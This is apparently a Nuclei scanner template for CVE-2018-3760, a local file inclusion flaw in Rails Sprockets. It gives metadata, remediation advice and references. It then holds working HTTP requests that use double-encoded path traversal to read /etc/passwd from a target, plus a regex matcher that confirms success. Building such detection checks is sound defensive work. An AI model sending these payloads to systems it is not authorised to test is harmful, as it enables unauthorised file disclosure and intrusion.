57 lines
2.0 KiB
YAML
57 lines
2.0 KiB
YAML
id: CVE-2018-3760
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info:
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name: Ruby On Rails - Local File Inclusion
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author: 0xrudra,pikpikcu
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severity: high
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description: |
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Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.
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remediation: |
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Apply the latest security patches and updates for Ruby On Rails framework to fix the Local File Inclusion vulnerability.
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reference:
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- https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760
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- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
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- https://seclists.org/oss-sec/2018/q2/210
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- https://xz.aliyun.com/t/2542
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- https://nvd.nist.gov/vuln/detail/CVE-2018-3760
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2018-3760
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cwe-id: CWE-200,CWE-22
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epss-score: 0.05013
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epss-percentile: 0.91993
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cpe: cpe:2.3:a:redhat:cloudforms:4.5:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: redhat
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product: cloudforms
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tags: cve,cve2018,rails,lfi,ruby,vulhub,seclists
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http:
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- raw:
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- |
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GET /assets/file:%2f%2f/etc/passwd HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: path
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regex:
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- "/etc/passwd is no longer under a load path: (.*?),"
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internal: true
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part: body
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# digest: 490a0046304402204a09ae67f7b09ee8f28d23e94f675756fc60b95f9f07d758101aed2209b87a2502201e7930d320bd049542184401435d03eb271bfc2885473a076783c4b4e83d777f:922c64590222798bb761d5b6d8e72950 |